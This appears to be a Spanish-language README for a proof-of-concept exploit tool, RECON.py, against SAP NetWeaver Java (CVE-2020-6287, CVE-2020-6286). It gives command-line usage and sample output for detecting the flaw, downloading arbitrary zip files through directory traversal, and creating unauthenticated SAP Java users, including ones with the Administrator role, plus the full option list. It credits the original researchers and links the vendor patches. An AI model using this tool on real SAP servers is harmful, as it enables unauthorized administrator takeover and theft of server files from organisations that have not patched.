
PoC para CVE-2020-6287, CVE-2020-6286 (vulnerabilidad SAP RECON)
PoC para CVE-2020-6287, CVE-2020-6286 (vulnerabilidad SAP RECON)
¡Pffff! ¿RECON (Remotely Exploitable Code On NetWeaver)? ¿En serio, chicos? ¿Ese fue el mejor nombre en clave que se les ocurrió? :)
Este script permite verificar la vulnerabilidad de falta de comprobación de autorización del Asistente de Configuración de SAP LM y, como script PoC, explota el recorrido de directorios en el método queryProtocol.
El recorrido de directorios permite descargar cualquier archivo zip del servidor SAP.
Este proyecto se crea únicamente con fines educativos y no puede ser utilizado para violar la ley ni para beneficio personal.
El autor de este proyecto no se responsabiliza de ningún posible daño causado por los materiales de este proyecto
Hallazgo original:
CVE-2020-6287: Pablo Artuso
CVE-2020-6286: Yvan 'iggy' G.
Solo apunta al nombre de host/IP de SAP NW AS Java.
Hay opciones adicionales:
-c - verificar si el servidor SAP es vulnerable a RECON-f - descargar archivo zip del servidor SAP-u - crear usuario SAP JAVA con rol Authenticated User-a - crear usuario SAP JAVA con rol AdministratorEj.: Descargar archivo zip
~python RECON.py -H 172.16.30.8 -f /1111.zip
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Ok! File zipfile_929.zip was saved
Ej.: Crear usuario SAP JAVA
~python RECON.py -H 172.16.30.8 -u
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user. sapRpoc5484:Secure!PwD9379
Ok! User were created
Ej.: Crear usuario administrador SAP JAVA
~python RECON.py -H 172.16.30.8 -a
Check1 - Vulnerable! [CVE-2020-6287] (RECON) - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user sapRpoc5574:Secure!PwD7715 with role 'Administrator'
Ok! Admin user were created
~python RECON.py -h
usage: RECON.py [-h] [-H HOST] [-P PORT] [-p PROXY] [-s] [-c] [-f ZIPFILE]
[-u] [-a] [--timeout TIMEOUT] [-v]
PoC for CVE-2020-6287, (RECON)
This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and exploits dir traversal in queryProtocol method
Original finding:
- Pablo Artuso. https://twitter.com/lmkalg
- Yvan 'iggy' G https://twitter.com/_1ggy
Thanks:
- Spencer McIntyre https://twitter.com/zeroSteiner
Solution: https://launchpad.support.sap.com/#/notes/2934135, https://launchpad.support.sap.com/#/notes/2939665
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST Java NW host (default: 127.0.0.1)
-P PORT, --port PORT Java NW web port (default: tcp/50000)
-p PROXY, --proxy PROXY
Use proxy (ex: 127.0.0.1:8080)
-s, --ssl enable SSL
-c, --check just detect vulnerability
-f ZIPFILE, --zipfile ZIPFILE
ZIP file to read. CVE-2020-6286
-u, --user Create simple JAVA user. CVE-2020-6287
-a, --admin Create JAVA user with role "Administrator". CVE-2020-6287
--timeout TIMEOUT HTTP connection timeout in second (default: 10)
-v, --verbose verbose mode